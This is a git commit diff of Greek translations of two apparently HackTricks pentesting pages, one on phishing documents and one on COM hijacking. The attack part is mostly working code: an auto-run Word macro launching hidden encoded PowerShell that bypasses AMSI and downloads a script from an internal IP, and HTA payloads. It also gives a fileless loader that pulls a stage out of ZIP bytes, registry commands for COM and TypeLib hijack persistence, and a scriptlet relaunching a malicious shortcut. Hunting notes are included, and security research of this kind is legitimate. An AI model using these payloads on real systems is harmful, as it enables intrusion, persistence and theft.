Translated ['src/generic-methodologies-and-resources/phishing-methodolog

This commit is contained in:
Translator 2025-08-28 22:49:45 +00:00
parent 553810a7ac
commit f1e9492422
2 changed files with 149 additions and 40 deletions

View File

@ -1,40 +1,40 @@
# Phishing Files & Documents
# Phishing Αρχεία & Έγγραφα
{{#include ../../banners/hacktricks-training.md}}
## Office Documents
## Office Έγγραφα
Το Microsoft Word εκτελεί έλεγχο δεδομένων αρχείου πριν ανοίξει ένα αρχείο. Ο έλεγχος δεδομένων εκτελείται με τη μορφή αναγνώρισης δομής δεδομένων, σύμφωνα με το πρότυπο OfficeOpenXML. Εάν προκύψει οποιοδήποτε σφάλμα κατά την αναγνώριση της δομής δεδομένων, το αρχείο που αναλύεται δεν θα ανοίξει.
Microsoft Word εκτελεί επικύρωση δεδομένων αρχείου πριν ανοίξει ένα αρχείο. Η επικύρωση δεδομένων πραγματοποιείται με τη μορφή αναγνώρισης δομής δεδομένων, σύμφωνα με το πρότυπο OfficeOpenXML. Εάν προκύψει οποιοδήποτε σφάλμα κατά την αναγνώριση της δομής δεδομένων, το αρχείο που αναλύεται δεν θα ανοιχτεί.
Συνήθως, τα αρχεία Word που περιέχουν μακροεντολές χρησιμοποιούν την επέκταση `.docm`. Ωστόσο, είναι δυνατόν να μετονομάσετε το αρχείο αλλάζοντας την επέκταση του αρχείου και να διατηρήσετε τις δυνατότητες εκτέλεσης μακροεντολών.\
Για παράδειγμα, ένα αρχείο RTF δεν υποστηρίζει μακροεντολές, σχεδιαστικά, αλλά ένα αρχείο DOCM που μετονομάζεται σε RTF θα διαχειριστεί από το Microsoft Word και θα είναι ικανό για εκτέλεση μακροεντολών.\
Οι ίδιες εσωτερικές διαδικασίες και μηχανισμοί ισχύουν για όλα τα λογισμικά της σουίτας Microsoft Office (Excel, PowerPoint κ.λπ.).
Συνήθως, τα αρχεία Word που περιέχουν macros χρησιμοποιούν την επέκταση `.docm`. Ωστόσο, είναι δυνατό να μετονομάσετε το αρχείο αλλάζοντας την επέκταση και να διατηρήσετε τις ικανότητες εκτέλεσης των macros.\
Για παράδειγμα, ένα αρχείο RTF δεν υποστηρίζει macros, εκ προεπιλογής, αλλά ένα αρχείο DOCM που μετονομάζεται σε RTF θα χειριστεί το Microsoft Word και θα είναι ικανό να εκτελέσει macros.\
Οι ίδιες εσωτερικές δομές και μηχανισμοί εφαρμόζονται σε όλο το λογισμικό της Microsoft Office Suite (Excel, PowerPoint etc.).
Μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή για να ελέγξετε ποιες επεκτάσεις θα εκτελούνται από ορισμένα προγράμματα Office:
Μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή για να ελέγξετε ποιες επεκτάσεις θα εκτελούνται από ορισμένα προγράμματα Office:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX αρχεία που αναφέρονται σε ένα απομακρυσμένο πρότυπο (Αρχείο Επιλογές Προσθήκες Διαχείριση: Πρότυπα Μετάβαση) που περιλαμβάνει μακροεντολές μπορούν επίσης να “εκτελούν” μακροεντολές.
Αρχεία DOCX που παραπέμπουν σε ένα απομακρυσμένο πρότυπο (File Options Add-ins Manage: Templates Go) που περιέχει macros μπορούν επίσης να “execute” macros.
### Φόρτωση Εξωτερικής Εικόνας
### Εξωτερική Φόρτωση Εικόνας
Μεταβείτε: _Εισαγωγή --> Γρήγορα Μέρη --> Πεδίο_\
_**Κατηγορίες**: Σύνδεσμοι και Αναφορές, **Ονόματα πεδίων**: includePicture, και **Όνομα αρχείου ή URL**:_ http://\<ip>/whatever
Μεταβείτε στο: _Insert --> Quick Parts --> Field_\
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>)
### Μακροεντολές Πίσω Πόρτα
### Macros Backdoor
Είναι δυνατόν να χρησιμοποιηθούν μακροεντολές για να εκτελούν αυθαίρετο κώδικα από το έγγραφο.
Είναι δυνατό να χρησιμοποιηθούν macros για την εκτέλεση arbitrary code από το έγγραφο.
#### Λειτουργίες Αυτοφόρτωσης
#### Συναρτήσεις Autoload
Όσο πιο κοινές είναι, τόσο πιο πιθανό είναι να τις ανιχνεύσει το AV.
Όσο πιο κοινές είναι, τόσο πιο πιθανό είναι το AV να τις εντοπίσει.
- AutoOpen()
- Document_Open()
#### Παραδείγματα Κώδικα Μακροεντολών
#### Παραδείγματα Κώδικα για Macros
```vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -64,16 +64,16 @@ Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
```
#### Χειροκίνητη αφαίρεση μεταδεδομένων
#### Αφαίρεση μεταδεδομένων χειροκίνητα
Πηγαίνετε στο **File > Info > Inspect Document > Inspect Document**, το οποίο θα ανοίξει τον Εξεταστή Εγγράφων. Κάντε κλικ στο **Inspect** και στη συνέχεια στο **Remove All** δίπλα από **Document Properties and Personal Information**.
Πήγαινε στο **File > Info > Inspect Document > Inspect Document**, το οποίο θα εμφανίσει το Document Inspector. Κάνε κλικ στο **Inspect** και μετά στο **Remove All** δίπλα από τα **Document Properties and Personal Information**.
#### Επέκταση Εγγράφου
#### Επέκταση εγγράφου
Όταν τελειώσετε, επιλέξτε το αναπτυσσόμενο μενού **Save as type**, αλλάξτε τη μορφή από **`.docx`** σε **Word 97-2003 `.doc`**.\
Κάντε το αυτό γιατί **δεν μπορείτε να αποθηκεύσετε μακροεντολές μέσα σε ένα `.docx`** και υπάρχει μια **στάση** **γύρω από** την επέκταση με δυνατότητα μακροεντολών **`.docm`** (π.χ. το εικονίδιο μικρογραφίας έχει ένα τεράστιο `!` και ορισμένες πύλες ιστού/ηλεκτρονικού ταχυδρομείου τις αποκλείουν εντελώς). Επομένως, αυτή η **παλαιά επέκταση `.doc` είναι η καλύτερη συμβιβαστική λύση**.
Όταν τελειώσεις, επίλεξε το αναδυόμενο μενού **Save as type**, άλλαξε τη μορφή από **`.docx`** σε **Word 97-2003 `.doc`**.\
Κάνε το αυτό επειδή **δεν μπορείς να αποθηκεύσεις macros μέσα σε `.docx`** και υπάρχει ένα **stigma** **γύρω** από την macro-enabled **`.docm`** επέκταση (π.χ. το εικονίδιο μικρογραφίας έχει ένα μεγάλο `!` και κάποια web/email gateways τα μπλοκάρουν εντελώς). Επομένως, αυτή η **legacy `.doc` extension είναι ο καλύτερος συμβιβασμός**.
#### Δημιουργοί Κακόβουλων Μακροεντολών
#### Malicious Macros Generators
- MacOS
- [**macphish**](https://github.com/cldrn/macphish)
@ -81,9 +81,9 @@ proc.Create "powershell <beacon line generated>
## Αρχεία HTA
Ένα HTA είναι ένα πρόγραμμα Windows που **συνδυάζει HTML και γλώσσες scripting (όπως VBScript και JScript)**. Δημιουργεί τη διεπαφή χρήστη και εκτελείται ως "πλήρως αξιόπιστη" εφαρμογή, χωρίς τους περιορισμούς του μοντέλου ασφαλείας ενός προγράμματος περιήγησης.
Ένα HTA είναι ένα πρόγραμμα Windows που **συνδυάζει HTML και scripting languages (όπως VBScript και JScript)**. Παράγει τη διεπαφή χρήστη και εκτελείται ως εφαρμογή "fully trusted", χωρίς τους περιορισμούς του μοντέλου ασφάλειας ενός browser.
Ένα HTA εκτελείται χρησιμοποιώντας **`mshta.exe`**, το οποίο συνήθως είναι **εγκατεστημένο** μαζί με **Internet Explorer**, καθιστώντας το **`mshta` εξαρτώμενο από το IE**. Έτσι, αν έχει απεγκατασταθεί, τα HTA δεν θα μπορούν να εκτελούνται.
Ένα HTA εκτελείται με **`mshta.exe`**, που συνήθως είναι **εγκατεστημένο** μαζί με τον **Internet Explorer**, καθιστώντας **`mshta` εξαρτώμενο από τον IE**. Έτσι, αν αυτός έχει απεγκατασταθεί, τα HTA δεν θα μπορούν να εκτελεστούν.
```html
<--! Basic HTA Execution -->
<html>
@ -138,11 +138,11 @@ var_func
self.close
</script>
```
## Εξαναγκασμός NTLM Αυθεντικοποίησης
## Εξαναγκασμός NTLM Authentication
Υπάρχουν αρκετοί τρόποι για να **εξαναγκάσετε την NTLM αυθεντικοποίηση "απομακρυσμένα"**, για παράδειγμα, μπορείτε να προσθέσετε **αόρατες εικόνες** σε emails ή HTML που θα έχει πρόσβαση ο χρήστης (ακόμα και HTTP MitM;). Ή να στείλετε στο θύμα τη **διεύθυνση αρχείων** που θα **ενεργοποιήσουν** μια **αυθεντικοποίηση** μόνο και μόνο για **άνοιγμα του φακέλου.**
Υπάρχουν αρκετοί τρόποι για να **force NTLM authentication "remotely"**, για παράδειγμα μπορείτε να προσθέσετε **αόρατες εικόνες** σε ηλεκτρονικά μηνύματα ή HTML που ο χρήστης θα ανοίξει (even HTTP MitM?). Ή να στείλετε στο θύμα τη **διεύθυνση αρχείων** που θα **προκαλέσει** μια **authentication** μόνο με το **άνοιγμα του φακέλου.**
**Ελέγξτε αυτές τις ιδέες και περισσότερες στις επόμενες σελίδες:**
**Δείτε αυτές τις ιδέες και περισσότερα στις παρακάτω σελίδες:**
{{#ref}}
@ -156,9 +156,60 @@ self.close
### NTLM Relay
Μην ξεχνάτε ότι δεν μπορείτε μόνο να κλέψετε το hash ή την αυθεντικοποίηση αλλά και να **εκτελέσετε επιθέσεις NTLM relay**:
Μην ξεχνάτε ότι δεν μπορείτε μόνο να κλέψετε το hash ή την authentication αλλά και να **perform NTLM relay attacks**:
- [**Επιθέσεις NTLM Relay**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay σε πιστοποιητικά)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Ισχυρές καμπάνιες παραδίδουν ένα ZIP που περιέχει δύο νόμιμα decoy documents (PDF/DOCX) και ένα κακόβουλο .lnk. Το κόλπο είναι ότι ο πραγματικός PowerShell loader είναι αποθηκευμένος μέσα στα raw bytes του ZIP μετά από έναν μοναδικό marker, και το .lnk τον εξάγει και τον τρέχει πλήρως στη μνήμη.
Τυπική ροή που υλοποιείται από το .lnk PowerShell one-liner:
1) Εντοπίζει το αρχικό ZIP σε κοινούς φακέλους: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, και τον γονικό φάκελο του τρέχοντος καταλόγου εργασίας.
2) Διαβάζει τα bytes του ZIP και βρίσκει έναν hardcoded marker (π.χ., xFIQCV). Ό,τι βρίσκεται μετά τον marker είναι το ενσωματωμένο PowerShell payload.
3) Αντιγράφει το ZIP σε %ProgramData%, το εξάγει εκεί, και ανοίγει το decoy .docx για να φαίνεται νόμιμο.
4) Bypass-άρει το AMSI για τη τρέχουσα διεργασία: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) Απο-αποκωδικοποιεί το επόμενο στάδιο (π.χ., αφαιρεί όλα τα # χαρακτήρες) και το εκτελεί στη μνήμη.
Παράδειγμα PowerShell σκελετού για να εξάγει και να εκτελέσει το ενσωματωμένο στάδιο:
```powershell
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
```
Σημειώσεις
- Η παράδοση συχνά καταχράται αξιόπιστους υποτομείς PaaS (π.χ., *.herokuapp.com) και μπορεί να gate τα payloads (σερβίρει benign ZIPs βάσει IP/UA).
- Το επόμενο στάδιο συχνά αποκρυπτογραφεί base64/XOR shellcode και το εκτελεί μέσω Reflection.Emit + VirtualAlloc για να ελαχιστοποιήσει τα ίχνη στο δίσκο.
Persistence used in the same chain
- COM TypeLib hijacking του Microsoft Web Browser control ώστε το IE/Explorer ή οποιαδήποτε εφαρμογή που το ενσωματώνει να επανεκκινεί το payload αυτόματα. Δείτε λεπτομέρειες και έτοιμες εντολές εδώ:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
Hunting/IOCs
- ZIP files που περιέχουν τη συμβολοσειρά δείκτη ASCII (π.χ., xFIQCV) προστιθέμενη στα δεδομένα του αρχείου.
- .lnk που απαριθμεί γονικούς/φακέλους χρήστη για να εντοπίσει το ZIP και ανοίγει ένα παραπλανητικό έγγραφο.
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Μακροχρόνια business threads που καταλήγουν σε links φιλοξενούμενα σε αξιόπιστους PaaS domains.
## Αναφορές
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,23 +2,23 @@
{{#include ../../banners/hacktricks-training.md}}
### Αναζητώντας ανύπαρκτα COM components
### Αναζήτηση μη υπαρχόντων COM components
Καθώς οι τιμές του HKCU μπορούν να τροποποιηθούν από τους χρήστες, **COM Hijacking** θα μπορούσε να χρησιμοποιηθεί ως **μόνιμη μηχανισμός**. Χρησιμοποιώντας το `procmon`, είναι εύκολο να βρείτε αναζητημένα COM registry που δεν υπάρχουν και που ένας επιτιθέμενος θα μπορούσε να δημιουργήσει για να παραμείνει. Φίλτρα:
Καθώς οι τιμές του HKCU μπορούν να τροποποιηθούν από τους χρήστες, το **COM Hijacking** μπορεί να χρησιμοποιηθεί ως **μηχανισμός επιμονής**. Χρησιμοποιώντας το `procmon` είναι εύκολο να βρείτε καταχωρήσεις COM που αναζητήθηκαν αλλά δεν υπάρχουν, τις οποίες ένας επιτιθέμενος θα μπορούσε να δημιουργήσει για να διατηρήσει την επιμονή του. Φίλτρα:
- **RegOpenKey** λειτουργίες.
- **RegOpenKey** operations.
- όπου το _Result_ είναι **NAME NOT FOUND**.
- και το _Path_ τελειώνει με **InprocServer32**.
Αφού αποφασίσετε ποιο ανύπαρκτο COM να προσποιηθείτε, εκτελέστε τις παρακάτω εντολές. _Να είστε προσεκτικοί αν αποφασίσετε να προσποιηθείτε ένα COM που φορτώνεται κάθε λίγα δευτερόλεπτα, καθώς αυτό θα μπορούσε να είναι υπερβολικό._
Μόλις αποφασίσετε ποιο μη υπάρχον COM θα υποδυθείτε, εκτελέστε τις παρακάτω εντολές. _Προσοχή αν αποφασίσετε να υποδυθείτε ένα COM που φορτώνεται κάθε μερικά δευτερόλεπτα, καθώς αυτό μπορεί να είναι υπερβολικό._
```bash
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
```
### Hijackable Task Scheduler COM components
### Ευάλωτα COM συστατικά του Task Scheduler
Windows Tasks use Custom Triggers to call COM objects and because they're executed through the Task Scheduler, it's easier to predict when they're gonna be triggered.
Οι Windows Tasks χρησιμοποιούν Custom Triggers για να καλούν COM objects και επειδή εκτελούνται μέσω του Task Scheduler, είναι πιο εύκολο να προβλέψει κανείς πότε θα ενεργοποιηθούν.
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
$Tasks = Get-ScheduledTask
@ -44,14 +44,14 @@ Write-Host
}
# Sample Output:
<strong># Task Name: Παράδειγμα
<strong># Task Name: Example
</strong># Task Path: \Microsoft\Windows\Example\
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [more like the previous one...]</code></pre>
Checking the output you can select one that is going to be executed **κάθε φορά που συνδέεται ένας χρήστης** for example.
Εξετάζοντας την έξοδο, μπορείτε να επιλέξετε ένα που θα εκτελείται, για παράδειγμα, **κάθε φορά που ένας χρήστης συνδέεται**.
Now searching for the CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\CLASSES\ROOT\CLSID** and in HKLM and HKCU, you usually will find that the value doesn't exist in HKCU.
Τώρα, αναζητώντας το CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** στο **HKEY\CLASSES\ROOT\CLSID** και στο HKLM και HKCU, συνήθως θα βρείτε ότι η τιμή δεν υπάρχει στο HKCU.
```bash
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
@ -72,6 +72,64 @@ Name Property
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
```
Στη συνέχεια, μπορείτε απλώς να δημιουργήσετε την καταχώρηση HKCU και κάθε φορά που ο χρήστης συνδέεται, η πίσω πόρτα σας θα ενεργοποιείται.
Τότε, μπορείτε απλώς να δημιουργήσετε την καταχώρηση HKCU και κάθε φορά που ο χρήστης συνδέεται, το backdoor σας θα εκτελείται.
---
## COM TypeLib Hijacking (script: moniker persistence)
Οι Type Libraries (TypeLib) περιγράφουν COM interfaces και φορτώνονται μέσω της `LoadTypeLib()`. Όταν ένας COM server δημιουργείται, το λειτουργικό σύστημα μπορεί επίσης να φορτώσει το αντίστοιχο TypeLib συμβουλευόμενο τα κλειδιά μητρώου κάτω από `HKCR\TypeLib\{LIBID}`. Εάν η διαδρομή του TypeLib αντικατασταθεί με έναν **moniker**, π.χ. `script:C:\...\evil.sct`, τα Windows θα εκτελέσουν το scriptlet όταν το TypeLib επιλυθεί — οδηγώντας σε stealthy persistence που ενεργοποιείται όταν χρησιμοποιηθούν κοινά components.
Αυτό έχει παρατηρηθεί εναντίον του Microsoft Web Browser control (συχνά φορτώνεται από Internet Explorer, εφαρμογές που ενσωματώνουν WebBrowser, και ακόμη και το `explorer.exe`).
### Βήματα (PowerShell)
1) Εντοπίστε το TypeLib (LIBID) που χρησιμοποιείται από ένα CLSID υψηλής συχνότητας. Παράδειγμα CLSID που συχνά καταχρώνται από malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
```powershell
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid LIBID=$libid VER=$ver"
```
2) Δείξτε τη διαδρομή TypeLib ανά χρήστη σε ένα τοπικό scriptlet χρησιμοποιώντας το moniker `script:` (δεν απαιτούνται δικαιώματα διαχειριστή):
```powershell
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
```
3) Drop ένα ελάχιστο JScript `.sct` που επανεκκινεί το κύριο payload σας (π.χ. ένα `.lnk` που χρησιμοποιήθηκε από την αρχική αλυσίδα):
```xml
<?xml version="1.0"?>
<scriptlet>
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
<script language="JScript">
<![CDATA[
try {
var sh = new ActiveXObject('WScript.Shell');
// Re-launch the malicious LNK for persistence
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
sh.Run(cmd, 0, false);
} catch(e) {}
]]>
</script>
</scriptlet>
```
4) Ενεργοποίηση το άνοιγμα του IE, μιας εφαρμογής που ενσωματώνει το WebBrowser control, ή ακόμη και οι συνήθεις δραστηριότητες του Explorer θα φορτώσουν το TypeLib και θα εκτελέσουν το scriptlet, επανενεργοποιώντας την αλυσίδα σας κατά το logon/reboot.
Καθαρισμός
```powershell
# Remove the per-user TypeLib hijack
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
# Delete the dropped scriptlet
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
```
Σημειώσεις
- Μπορείτε να εφαρμόσετε την ίδια λογική και σε άλλα συχνά χρησιμοποιούμενα COM components· πάντα επιλύετε πρώτα το πραγματικό `LIBID` από `HKCR\CLSID\{CLSID}\TypeLib`.
- Σε συστήματα 64-bit μπορείτε επίσης να συμπληρώσετε το υποκλειδί `win64` για τους 64-bit consumers.
## Αναφορές
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
{{#include ../../banners/hacktricks-training.md}}